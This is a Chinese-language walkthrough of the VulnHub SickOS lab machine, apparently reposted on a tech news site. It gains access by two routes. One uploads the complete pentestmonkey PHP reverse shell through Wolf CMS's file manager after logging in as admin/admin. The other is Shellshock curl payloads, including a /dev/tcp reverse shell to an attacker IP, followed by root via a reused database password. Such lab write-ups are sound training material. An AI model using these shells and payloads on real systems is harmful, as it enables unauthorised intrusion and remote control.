vulnhub(16):sickos(两种打点方式)

端口

ip:192.168.72.154
nmap -Pn -p- 192.168.72.154 --min-rate 10000
PORT STATE  SERVICE
22   open   ssh   
3128 open   http-proxy 
8080 closed http-proxy

web渗透方式一:web后台

正常访问80端口,是不开放的,我们需要配置目标机器的代理服务再访问80端口
​
浏览器配置代理:192.168.72.154,端口:3128
​
正常访问到了80端口web界面,主页源代码页面只有个字符串:BLEHHH!!! 
​
我们访问robots.txt看有没有隐藏的目录:192.168.72.154/robots.txt
​
发现隐藏目录:Dissalow: /wolfcms
发现wolfcms博客系统
翻了一下博客内容,没什么敏感信息
​
找网站后台,且后台存在弱口令
username:admin
password:admin
​
登录
后台文件上传漏洞
http://192.168.72.154/wolfcms/?/admin/plugin/file_manager
可以上传php文件到public文件夹中
​
找一个php webshell,上传给他777权限
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
​
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.72.162';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
​
//
// Daemonise ourself if possible to avoid zombies later
//
​
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}
​// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}
​$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
​
// Change to a safe directory
chdir("/");
​
// Remove any umask we inherited
umask(0);
​
//
// Do the reverse shell...
//
​
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}
​
// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
​
$process = proc_open($shell, $descriptorspec, $pipes);
​
if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}
​
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
​
printit("Successfully opened reverse shell to $ip:$port");
​
while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}
​// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}
​// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
​// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}
​// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}
​// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}
​
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
​
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}
​
?> 
监听并回弹shell
攻击机器:nc -nvlp 1234
​
访问shell.php:http://192.168.72.154/wolfcms/public/shell.php

web渗透方式一:shellshock

gobuster扫描目录
gobuster dir -u http://192.168.72.154/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash --proxy http://192.168.72.154:3128/ 
​
/index/               (Status: 200) [Size: 21]
/index.php/           (Status: 200) [Size: 21]
/.html/               (Status: 403) [Size: 288]
/cgi-bin/             (Status: 403) [Size: 290]
/icons/               (Status: 403) [Size: 288]
/doc/                 (Status: 403) [Size: 286]
/cgi/                 (Status: 200) [Size: 901]
/raptor/              (Status: 200) [Size: 921]
​
访问/cgi/,发现此目录下有exp.cgi,浏览器访问下,看到没有使用bash进行解析,而是直接当成文本返回了

当然利用一下shellshock返回结果也只是其文本:
​
curl -H "User-agent: () { :;}; echo; /bin/ls -l" http://192.168.72.154/cgi/exp.cgi --proxy http://192.168.72.154:3128/
#!/bin/bash
​
echo "Content-type: text/plain"
echo 
echo
echo "** Environment Variables ***"
strings /proc/$$/environ
我们gobuster扫一下/cgi-bin下有没有可以访问的bash环境
gobuster dir -u http://192.168.72.154/cgi-bin/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash --proxy http://192.168.72.154:3128/
​
/status/              (Status: 200) [Size: 199]
​
发现有status,浏览器访问下:http://192.168.72.154/cgi-bin/status

shellshock利用一下:
​
curl -H "User-agent: () { :;}; echo; /bin/ls -l" http://192.168.72.154/cgi-bin/status --proxy http://192.168.72.154:3128/                                                                     
total 4
-rwxrwxrwx 1 root root 120 Oct  2  2014 status
​
发现shellshock成功
# msf生成反弹shell
msfvenom -p cmd/unix/reverse_bash lhost=192.168.72.162 lport=1234
​
bash -c '0<&67-;exec 67<>/dev/tcp/192.168.72.162/1234;sh <&67 >&67 2>&67'
​
# 构造shellshock
curl -H "User-agent: () { :;}; echo; 0<&67-;exec 67<>/dev/tcp/192.168.72.162/1234;/bin/sh <&67 >&67 2>&67" http://192.168.72.154/cgi-bin/status --proxy http://192.168.72.154:3128/

提权

web目录翻一翻,看看有没有数据库配置文件
​
find ./ -name *conf* 2>/dev/null
结果:./wolfcms/config.php
​
看下./wolfcms/config.php文件
​
发现数据库用户密码:
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
尝试udf提权
SHOW VARIABLES LIKE 'secure_file_priv';
​
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
​
可以看到没有设置安全路径,但udf提权还是失败了,因为将文件内容写入不了数据库,即使我们将需要写入的文件改为777权限,如下,raptor_udf2.so是恶意提权函数库
​
-rwxrwxrwx 1 www-data www-data 8421 Oct 26 11:55 raptor_udf2.so
​
select load_file('/var/www/raptor/raptor_udf2.so');
+---------------------------------------------+
| load_file('/var/www/raptor/raptor_udf2.so') |
+---------------------------------------------+
| NULL                                        |
+---------------------------------------------+
利用john@123密码
使用此密码登录sickos,成功
​
sickos能直接使用sudo切换到root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/458738.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高速定向广播声光预警系统赋能高速安全管控

近年来&#xff0c;高速重大交通事故屡见不鲜&#xff0c;安全管控一直是高速运营的重中之重。如何利用现代化技术和信息化手段&#xff0c;创新、智能、高效的压降交通事故的发生概率&#xff0c;优化交通安全管控质量&#xff0c;是近年来交管部门的主要工作&#xff0c;也是…

云原生Istio基础

一&#xff0e;Service Mesh 架构 Service Mesh&#xff08;服务网格&#xff09;是一种用于处理服务到服务通信的专用基础设施层。它的主要目的是将微服务之间复杂的通信和治理逻辑从微服务代码中分离出来&#xff0c;放到一个独立的层中进行管理。传统的微服务架构中&#x…

浅析Android View绘制过程中的Surface

前言 在《浅析Android中View的测量布局流程》中我们对VSYNC信号到达App进程之后开启的View布局过程进行了分析&#xff0c;经过对整个App界面的View树进行遍历完成了测量和布局&#xff0c;确定了View的大小以及在屏幕中所处的位置。但是&#xff0c;如果想让用户在屏幕上看到…

【十六进制数转十进制数 】

【十六进制数转十进制数 】 C语言版本C 版本Java版本Python版本 &#x1f490;The Begin&#x1f490;点点关注&#xff0c;收藏不迷路&#x1f490; 从键盘接收一个十六进制数&#xff0c;编程实现将其转换成十进制数。 输入 输入一个十六进制数 输出 输出一个十进制数 样…

GitHub 上的优质 Linux 开源项目,真滴硬核!

作为一名互联网人&#xff0c;提起 Linux 大家都不陌生&#xff0c;尤其是日常跟 Linux 操作系统打交道最多的&#xff0c;最熟悉不过了。互联网上关于 Linux 相关的教程和资料也非常的多&#xff0c;但是当你从中筛选出真正对自己有帮助的资料是需要花费很大精力与时间的。 G…

JVM基础(内存结构)

文章目录 内存结构JAVA堆方法区 &#xff08;Method Area&#xff09;运行时常量池&#xff08;Runtime Constant Pool&#xff09; 虚拟机栈 &#xff08;Java Virtual Machine Stack&#xff09;本地方法摘栈&#xff08;Native Method Stacks&#xff09;程序计数器&#xf…

交易的人生就是对未来不断的挑战!

在这个充满不确定性的市场中&#xff0c;我们每个人都渴望找到一条通往成功的路径。在Eagle Trader交易员中&#xff0c;有一位资深交易者&#xff0c;他不仅对交易有着不同寻常的执着和热爱&#xff0c;而且他的真诚见解和独到的交易哲学&#xff0c;可能会触动你的心弦。他的…

尚硅谷-react教程-求和案例-@redux-devtools/extension 开发者工具使用-笔记

## 7.求和案例_react-redux开发者工具的使用(1).npm install redux-devtools/extension(2).store中进行配置import { composeWithDevTools } from redux-devtools/extension;export default createStore(allReducer,composeWithDevTools(applyMiddleware(thunk))) src/redux/s…

OpenCV系列教程六:信用卡数字识别、人脸检测、车牌/答题卡识别、OCR

文章目录 一、信用卡数字识别1.1 模板匹配1.2 匹配多个对象1.3 处理数字模板1.4 预处理卡片信息&#xff0c;得到4组数字块。1.5 遍历数字块&#xff0c;将卡片中每个数字与模板数字进行匹配 二、人脸检测2.1人脸检测算法原理2.2 OpenCV中的人脸检测流程 三、车牌识别3.1 安装t…

一行代码,实现请假审批流程(Java版)

首先画一个流程图 测试流程图 activiti 项目基础配置 activiti 工作流引擎数据库设计 工作流引擎API 介绍 什么是BPMN流程图 工作流引擎同类对比 继续学习方向 总结 工作流审批功能是办公OA系统核心能力&#xff0c;如果让你设计一个工作流审批系统&#xff0c;你会吗…

SDK5(note中)

在原有SDK5(note上)里的代码上添加了 timer的消息 LRESULT OnCreate(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {OutputDebugString(_T("[11syy]WM_CREATE\n"));//创建一个计时器SetTimer(hwnd, 1, 1000, nullptr);return TRUE; }LRESULT OnClese(HWND …

全星魅 北斗三号船载终端的优势和领域利用

QM43BS型北斗三号船载终端&#xff1a;开启航海通信与定位新时代 在当今这个信息化高速发展的时代&#xff0c;航海领域对于通信与定位技术的需求愈发迫切。深圳市全民北斗科技有限公司&#xff0c;作为北斗技术应用领域的佼佼者&#xff0c;针对数传通信和位置服务应用&#x…

Python 实现深度学习模型预测控制--预测模型构建

链接&#xff1a;深度学习模型预测控制 链接&#xff1a;WangXiaoMingo/TensorDL-MPC: DL-MPC(deep learning model predictive control) is a software toolkit developed based on the Python and TensorFlow frameworks, designed to enhance the performance of tradition…

你了解kafka消息队列么?

消息队列概述 一. 消息队列组件二. 消息队列通信模式2.1 点对点模式2.2 发布/订阅模式 三. 消息队列的优缺点3.1 消息队列的优点3.2 消息队列的缺点 四. 总结 前言 这是我在这个网站整理的笔记,有错误的地方请指出&#xff0c;关注我&#xff0c;接下来还会持续更新。 作者&…

Android Junit 单元测试 | 依赖配置和编译报错解决

问题 为什么在依赖中添加了testImplement在build APK的时候还是会报错&#xff1f;是因为没有识别到test文件夹是test源代码路径吗&#xff1f; 最常见的配置有: implementation - 所有源代码集(包括test源代码集)中都有该依赖库.testImplementation - 依赖关系仅在test源代码…

理解磁盘结构---CHS---LAB---文件系统

1&#xff0c;初步了解磁盘 机械磁盘是计算机中唯的一个机械设备&#xff0c; 特点是慢&#xff0c;容量大&#xff0c;价格便宜。 磁盘上面的光面&#xff0c;由数不清的小磁铁构成&#xff0c;我们知道磁铁是有n&#xff0f;&#xff53;极的&#xff0c;这刚好与二进制的&…

selenium脚本编写及八大元素定位方法

selenium脚本编写 上篇文章介绍了selenium环境搭建&#xff0c;搭建好之后就可以开始写代码了 基础脚本,打开一个网址 from selenium import webdriver driver webdriver.Chrome()#打开chrome浏览器 driver.get(https://www.baidu.com) #打开百度 打开本地HTML文件 上篇…

利用Kubernetes原生特性实现简单的灰度发布和蓝绿发布

部分借鉴地址: https://support.huaweicloud.com/intl/zh-cn/bestpractice-cce/cce_bestpractice_10002.html 1.原理介绍 用户通常使用无状态负载 Deployment、有状态负载 StatefulSet等Kubernetes对象来部署业务&#xff0c;每个工作负载管理一组Pod。以Deployment为例&#x…

Macos m系列芯片环境下安装python3以及mysqlclient流程以及遇到的一系列问题

最近升级了生产力&#xff0c;换了m3的mbp&#xff0c;迁移项目的时候遇到的一系列python mysqlclient的环境问题&#xff0c;这里总结记录一下。 设备&#xff1a;Macbook Pro m3系统&#xff1a;macos Sonoma 14.6最终成功的python版本&#xff1a;Python3.9.1最终系统环境下…

STL-常用容器-list

1list基本概念 **功能&#xff1a;**将数据进行链式存储 链表&#xff08;list&#xff09;是一种物理存储单元上非连续的存储结构&#xff0c;数据元素的逻辑顺序是通过链表中的指针链接实现的 链表的组成&#xff1a;链表由一系列结点组成 结点的组成&#xff1a;一个是存储…